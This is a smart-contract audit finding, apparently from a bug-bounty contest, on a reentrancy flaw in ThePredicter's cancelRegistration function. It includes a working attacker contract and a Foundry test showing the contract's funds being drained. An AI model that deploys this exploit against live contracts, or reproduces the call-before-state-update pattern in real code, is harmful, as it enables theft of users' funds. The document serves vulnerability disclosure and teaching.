Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in cancelRegistration Function

Summary

cancelRegistration() in the ThePredicter contract is vulnerable to reentrancy attacks. An attacker can exploit this vulnerability to withdraw more funds than intended by recursively calling cancelRegistration() within the fallback function.

Vulnerability Details

//ReentrancyTest
function testReentrancyAttackOnCancelRegistration() public {
// Attacker deploys a reentrancy attack contract
vm.startPrank(attacker);
ReentrancyAttack reentrancyAttack = new ReentrancyAttack(address(thePredicter));
vm.deal(attacker, 1 ether);
assertEq(address(reentrancyAttack).balance, 0 ether, "Reentrancy attack contract Before");
reentrancyAttack.attack{value: 0.04 ether}();
vm.stopPrank();
// Check the balance of the attacker and the contract
assertEq(
attacker.balance, 1 ether - 0.04 ether, "Attacker balance should be initial balance minus entrance fee"
);
assertEq(address(reentrancyAttack).balance, 1.04 ether, "Reentrancy attack contract balance After");
}
//Attack.sol contract
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./ThePredicter.sol";
contract ReentrancyAttack {
ThePredicter public thePredicter;
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
// Fallback function to perform the reentrancy attack
receive() external payable {
if (address(thePredicter).balance > 0) {
thePredicter.cancelRegistration();
}
}
// Function to initiate the attack
function attack() external payable {
require(msg.value == 0.04 ether, "Incorrect ether amount sent");
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
}

I performed the above attack and successfully drained the contract balance using reentrancy manipulation from the cancelregistration()

Impact

An attacker can drain the contract’s funds by repeatedly calling cancelRegistration, leading to significant financial loss.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

Root Cause
call to msg.sender.call{value: entranceFee}("") allows control to be transferred to an external contract, which can recursively call cancelRegistration before playersStatus[msg.sender] is set to Status.Canceled

Tools Used

Manual review

Recommendations

Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.